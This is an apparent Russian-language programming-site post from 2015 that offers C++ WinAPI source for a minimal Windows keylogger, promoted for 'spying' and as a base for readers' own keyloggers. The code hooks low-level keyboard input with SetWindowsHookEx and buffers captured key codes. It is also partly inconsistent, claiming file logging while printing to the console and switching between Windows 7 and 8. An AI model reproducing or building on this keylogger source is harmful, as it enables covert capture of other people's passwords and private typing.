Кейлоггер для Windows - проще не бывает! С++, WinApi.
- Родительская категория: x32
- Категория: Исходники x32
- Опубликовано 18 Январь 2015
- Автор: HandyCat
- Просмотров: 5937
Продолжаем выкладывать статьи на тему "Как написать кейлоггер для Windows 7". Вот еще одна программа кейлоггер. Самая простая, проще не придумаешь. Вместе с тем, даже этот кейлоггер для Windows 7 может удовлетворить ваши потребности в шпионаже :). Перехват клавиш программа кейлоггер осуществляет без использования dll (WH_KEYBOARD_LL). Уже упоминалось, что программа кейлоггер, написанная с использованием (WH_KEYBOARD_LL) может поставить семерку в тупик. Но, мы же хакеры! Выход найдём! Кодитьт кейлоггер для Windows 7 можно и с использованием SetWindowsHookEx ( WH_KEYBOARD_LL,...). Несомненный плюс - в результате получается один исполняемый файл.
Ну, а теперь программа кейлоггер - исходный код. На его основе можете писать свой кейлоггер для Windows 7 и не волноваться! При записи в лог использован файловый поток. Полный минимализм!
Исходник файла *.exe:
#include < windows.h > #include < iostream > using namespace std; #define bufferSize 128 char charBuffer[bufferSize]; int pos = 0; LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT) (lParam); if (nCode < 0) { return CallNextHookEx(NULL, nCode, wParam, lParam); } if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { charBuffer[pos] = (char)key->vkCode; pos++; // is the buffer full? if (pos == bufferSize) { // lets fix that cout << charBuffer << endl; pos = 0; } } // send the info the the next hook return CallNextHookEx(NULL, nCode, wParam, lParam); } int main(void) { // Кейлоггер для Windows 7 - Set windows hook HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc,NULL,0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); return 0; }
Вот кейлоггер для Windows 8 и готов! Основы того, какова программа кейлоггер изнутри у вас есть.